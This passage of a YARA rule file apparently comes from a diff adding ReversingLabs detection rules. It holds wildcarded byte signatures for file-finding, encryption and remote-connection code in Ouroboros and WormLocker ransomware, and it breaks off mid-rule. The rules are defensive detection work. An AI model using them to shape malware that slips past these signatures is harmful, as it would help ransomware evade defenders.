+            83 E8 ?? 74 ?? 51 68 ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? A1 ?? ?? ?? ??
+            83 C4 ?? 85 C0 75 ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A
+            ?? 6A ?? 50 E8 ?? ?? ?? ?? 8D 44 24 ?? 50 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4
+            ?? 83 C8 ?? 5F 5E 5D 8B 4C 24 ?? 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C3 68 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 75 ?? A1 ?? ?? ?? ?? 85 C0 75
+        }
+		$encrypt_files_p2 = {
+            E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 50 E8 ?? ??
+            ?? ?? 83 C4 ?? 83 C8 ?? 5F 5E 5D 8B 4C 24 ?? 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C3 33 C9
+            85 F6 7E ?? 8D 56 ?? 53 8B 5C 24 ?? 03 D7 66 0F 1F 44 00 ?? 8A 04 19 8D 52 ?? 41 88
+            42 ?? 3B CE 7C ?? 5B 8D 44 24 ?? 89 74 24 ?? 50 8B 44 24 ?? 57 6A ?? 6A ?? 6A ?? FF
+            70 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? A1 ?? ?? ?? ?? 85 C0 75 ?? E8 ?? ??
+            ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 50 E8 ?? ?? ?? ?? 83
+            C4 ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 8D 44
+            24 ?? 50 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? FF 74 24 ?? 57 E8 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 83 C8 ?? 5F 5E 5D 8B 4C 24 ?? 33 CC
+            E8 ?? ?? ?? ?? 83 C4 ?? C3 8B 74 24 ?? 56 57 55 E8 ?? ?? ?? ?? 56 57 E8 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4C 24 ?? 8B C6 5F 5E 5D
+            33 CC E8 ?? ?? ?? ?? 83 C4 ?? C3
+        }
+		$remote_connection_p1 = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
+            33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 6A ?? E8 ??
+            ?? ?? ?? FF 35 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ??
+            E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8B D8 FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 E8 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 83
+            C4 ?? 49 90 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? BA ?? ?? ?? ?? 83 3D ?? ??
+            ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 0F 43 15 ?? ?? ?? ?? 89 41 ?? 8B F2 A1 ?? ?? ?? ?? 89
+            41 ?? A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? 8A 02 42 84 C0 75 ?? 8D BD ??
+            ?? ?? ?? 2B D6 4F 8A 47 ?? 47 84 C0 75 ?? 8B CA C1 E9 ?? F3 A5 8B CA 83 E1 ?? F3 A4
+            8D 8D ?? ?? ?? ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 8B 95 ?? ?? ?? ??
+            8B F2 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? A0 ?? ?? ?? ?? 88 41 ?? 66 90 8A 02 42 84
+            C0 75 ?? 8D BD ?? ?? ?? ?? 2B D6 4F 8A 47 ?? 47 84 C0 75 ?? 8B CA C1 E9 ?? F3 A5 8B
+            CA 83 E1 ?? F3 A4 8D 8D ?? ?? ?? ?? 49 0F 1F 00 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ??
+            ?? ?? ?? 8B F3 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? A0 ?? ?? ?? ?? 88 41 ?? 8A 03 43
+            84 C0 75 ?? 8D BD ?? ?? ?? ?? 2B DE 4F 8A 47 ?? 47 84 C0 75 ?? 8B CB C1 E9 ?? F3 A5
+            8B CB 83 E1 ?? F3 A4 8D 8D ?? ?? ?? ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ??
+            ?? 8B 95 ?? ?? ?? ?? 8B F2 89 01 A1 ?? ?? ?? ?? 89 41 ?? A0 ?? ?? ?? ?? 88 41 ?? 0F
+        }
+		$remote_connection_p2 = {
+            1F 44 00 ?? 8A 02 42 84 C0 75 ?? 8D BD ?? ?? ?? ?? 2B D6 4F 8A 47 ?? 47 84 C0 75 ??
+            8B CA C1 E9 ?? F3 A5 8B CA 83 E1 ?? F3 A4 8D 8D ?? ?? ?? ?? 49 0F 1F 00 8A 41 ?? 8D
+            49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41
+            ?? A0 ?? ?? ?? ?? 6A ?? 88 41 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ??
+            ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 8D ?? ??
+            ?? ?? 83 C4 ?? C7 00 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 08 C7 45
+            ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 51 ?? C7 85 ?? ??
+            ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 0F 1F 00 8A 01 41 84 C0 75 ?? 2B CA 8D 85 ??
+            ?? ?? ?? 51 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ??
+            6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8B D8 85
+            DB 74 ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 83 EC ?? 8D 85 ?? ?? ?? ?? 8B CC 50 E8 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 50 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B F0 85 F6
+            74 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 56
+            FF 15 ?? ?? ?? ?? 56 FF D7 53 FF D7 FF B5 ?? ?? ?? ?? FF D7 8D 8D ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B
+            8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and ( all of ($remote_connection_p*))
+}
+rule REVERSINGLABS_Win32_Ransomware_Ouroboros : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Ouroboros ransomware."
+		author = "ReversingLabs"
+		id = "af0b9311-a7dd-56e8-a004-0828af5af5ef"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Ouroboros.yara#L1-L175"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "b573f303318452010ff46f21a02b6290820f9a27bf4c51b72f6ed15263b5f433"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Ouroboros"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$remote_connection_p1 = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
+            33 C5 89 45 ?? 56 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 75 ?? 8D 8D ?? ?? ?? ?? 6A ?? 68
+            ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 50 8D 8D ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ??
+            42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ??
+            ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85
+            ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C7 85 ??
+            ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
+            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85
+        }
+		$remote_connection_p2 = {
+            C6 45 ?? ?? 50 6A ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ??
+            C6 45 ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49
+            ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ??
+            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8B
+            95 ?? ?? ?? ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ??
+            ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ??
+            ?? ?? 83 C4 ?? FF 75 ?? 8D 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 75 ?? 8D 8D ?? ??
+            ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 8D 45 ?? C6 85 ?? ?? ?? ?? ?? 50 E8 ?? ?? ??
+            ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8D 4D ?? E8
+            ?? ?? ?? ?? 50 8B CE C7 06 ?? ?? ?? ?? C6 46 ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 83 FA ??
+            72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83
+        }
+		$remote_connection_p3 = {
+            F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? C7 45 ?? ?? ?? ?? ??
+            C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? FF 70 ?? 8D 45 ?? 50 8B C8 E8 ?? ?? ?? ?? 6A ?? FF
+            75 ?? E8 ?? ?? ?? ?? 8B 55 ?? 83 C4 ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ??
+            ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ??
+            ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83
+            FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0
+            ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? C7 45 ?? ?? ??
+            ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? FF 70 ?? 8D 45 ?? 50 8B C8 E8 ?? ?? ?? ?? 6A
+            ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 C4 ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ??
+            ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87
+            ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
+            ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 85 C9 74 ?? 8B 95 ?? ?? ??
+            ?? 8B C1 2B D1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F
+            87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 C4 ?? C7 85 ??
+            ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ??
+            8B C6 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
+        }
+		$remote_connection_p4 = {
+            8B 55 ?? C7 06 ?? ?? ?? ?? C6 46 ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ??
+            ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ??
+            ?? ?? ?? 83 C4 ?? 8B 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? FF
+            70 ?? 8D 45 ?? 50 8B C8 E8 ?? ?? ?? ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 55 ?? 83 C4
+            ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1
+            83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 45 ??
+            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA
+            ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51
+            E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ??
+            ?? FF 70 ?? 8D 45 ?? 50 8B C8 E8 ?? ?? ?? ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 95 ??
+            ?? ?? ?? 83 C4 ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ??
+            8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 8D
+            ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ??
+            ?? ?? ?? 85 C9 0F 84 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B C1 2B D1 81 FA ?? ?? ?? ?? 0F
+            82 ?? ?? ?? ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 86 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? E8
+        }
+		$find_files = {
+            8B FF 55 8B EC 51 8B 4D ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 2B CA 83 C8 ?? 57 8B 7D ??
+            41 2B C7 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 53 56 8D 5F ?? 03 D9 6A ?? 53 E8 ?? ??
+            ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ??
+            FF 75 ?? 2B DF 8D 04 3E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 4D ??
+            56 E8 ?? ?? ?? ?? 6A ?? 8B F0 E8 ?? ?? ?? ?? 59 8B C6 5E 5B 5F 8B E5 5D C3 33 C0 50
+            50 50 50 50 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5
+            89 45 ?? 8B 4D ?? 53 8B 5D ?? 56 8B 75 ?? 57 89 B5 ?? ?? ?? ?? EB ?? 8A 01 3C ?? 74
+            ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 53 E8 ?? ?? ?? ?? 59 59 8B C8 3B CB 75 ?? 8A 11 80 FA
+            ?? 75 ?? 8D 43 ?? 3B C8 74 ?? 56 33 FF 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 33 FF
+            80 FA ?? 74 ?? 80 FA ?? 74 ?? 80 FA ?? 74 ?? 8B C7 EB ?? 33 C0 40 0F B6 C0 2B CB 41
+            F7 D8 68 ?? ?? ?? ?? 1B C0 23 C1 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 ?? ??
+            ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 57 57 57 50 57 53 FF 15 ?? ?? ?? ?? 8B F0 8B 85 ??
+            ?? ?? ?? 83 FE ?? 75 ?? 50 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 ?? 56
+            FF 15 ?? ?? ?? ?? 8B C7 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 48 ??
+            2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 8A 8D ?? ?? ?? ?? 84 C9
+            74 ?? 80 F9 ?? 75 ?? 80 BD ?? ?? ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ??
+            ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ??
+            ?? 85 C0 8B 85 ?? ?? ?? ?? 75 ?? 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B
+            C8 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4
+            ?? E9
+        }
+		$encrypt_files_p1 = {
+            83 EC ?? 8B 44 24 ?? 53 55 56 8B F1 89 44 24 ?? 57 8B 7C 24 ?? 8B 6E ?? 3B FD 77 ??
+            8B DE 83 FD ?? 72 ?? 8B 1E 57 50 53 89 7E ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 04 1F ?? 8B
+            C6 5F 5E 5D 5B 83 C4 ?? C2 ?? ?? 81 FF ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 8B DF 83 CB ??
+            81 FB ?? ?? ?? ?? 76 ?? BB ?? ?? ?? ?? EB ?? 8B CD B8 ?? ?? ?? ?? D1 E9 2B C1 3B E8
+            76 ?? BB ?? ?? ?? ?? EB ?? 8D 04 29 3B D8 0F 42 D8 33 C9 8B C3 83 C0 ?? 0F 92 C1 F7
+            D9 0B C8 51 8B CE E8 ?? ?? ?? ?? 57 FF 74 24 ?? 89 44 24 ?? 50 89 7E ?? 89 5E ?? E8
+            ?? ?? ?? ?? 8B 5C 24 ?? 83 C4 ?? C6 04 1F ?? 83 FD ?? 72 ?? 8B 06 45 81 FD ?? ?? ??
+            ?? 72 ?? 8B 48 ?? 83 C5 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 8B C1 55 50 E8 ?? ?? ?? ??
+            83 C4 ?? 5F 89 1E 8B C6 5E 5D 5B 83 C4 ?? C2 ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC
+            CC CC CC CC 83 EC ?? 53 55 8B 6C 24 ?? 56 57 8B F9 8B 4C 24 ?? 89 4C 24 ?? 8B 5F ??
+            3B EB 77 ?? 89 7C 24 ?? 8B C7 83 FB ?? 72 ?? 8B 07 89 44 24 ?? 8D 34 6D
+        }
+		$encrypt_files_p2 = {
+            89 6F ?? 56 51 50 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 33 C9 66 89 0C 06 8B C7 5F 5E
+            5D 5B 83 C4 ?? C2 ?? ?? 81 FD ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 8B F5 83 CE ?? 81 FE ??
+            ?? ?? ?? 76 ?? BE ?? ?? ?? ?? EB ?? 8B CB B8 ?? ?? ?? ?? D1 E9 2B C1 3B D8 76 ?? BE
+            ?? ?? ?? ?? EB ?? 8D 04 19 3B F0 0F 42 F0 33 C9 8B C6 83 C0 ?? 0F 92 C1 F7 D9 0B C8
+            51 8B CF E8 ?? ?? ?? ?? 89 77 ?? 8D 34 6D ?? ?? ?? ?? 56 FF 74 24 ?? 89 44 24 ?? 50
+            89 6F ?? E8 ?? ?? ?? ?? 8B 6C 24 ?? 33 C0 83 C4 ?? 66 89 04 2E 83 FB ?? 72 ?? 8B 07
+            8D 1C 5D ?? ?? ?? ?? 81 FB ?? ?? ?? ?? 72 ?? 8B 48 ?? 83 C3 ?? 2B C1 83 C0 ?? 83 F8
+            ?? 77 ?? 8B C1 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 2F 8B C7 5F 5E 5D 5B 83 C4 ?? C2 ??
+            ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC 8B 44 24 ?? 83 EC ?? 83 E0 ?? 89 41 ?? 8B 49 ??
+            23 C8 75 ?? 83 C4 ?? C2 ?? ?? 56 F6 C1 ?? 74 ?? BE ?? ?? ?? ?? EB ?? F6 C1 ?? BE ??
+            ?? ?? ?? B8 ?? ?? ?? ?? 0F 44 F0 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4C
+            24 ?? 50 56 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 5E
+        }
+		$encrypt_files_angus_version = {
+            6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ??
+            ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 85
+            ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 03 C1 83 BD ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 0F 43
+            8D ?? ?? ?? ?? 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ??
+            ?? ?? ?? B9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 39 8D ?? ?? ?? ?? 8D 85 ?? ??
+            ?? ?? C6 85 ?? ?? ?? ?? ?? 0F 42 8D ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 51 0F 43 85 ??
+            ?? ?? ?? 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 95 ?? ?? ?? ??
+            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ??
+            ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ??
+            ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85
+            ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? C7 85 ??
+            ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ??
+            ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
+            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ??
+            C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ??
+            ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D
+            ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? E8
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($find_files) and (( all of ($encrypt_files_p*)) or ($encrypt_files_angus_version)) and ( all of ($remote_connection_p*))
+}
+rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Wormlocker : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects WormLocker ransomware."
+		author = "ReversingLabs"
+		id = "6d7b55b7-2e1b-56e0-950f-07a2d3fa17ae"
+		date = "2021-08-12"
+		modified = "2021-08-12"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/ByteCode.MSIL.Ransomware.WormLocker.yara#L1-L69"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "87a4f805de78d7e7dffb176302407453108ca01552c682aeee38f8d0201263c9"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "WormLocker"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$set_environment = {
+            73 ?? ?? ?? ?? 0A 06 02 7D ?? ?? ?? ?? 00 16 28 ?? ?? ?? ?? 0B 72 ?? ?? ?? ?? 28 ?? ??
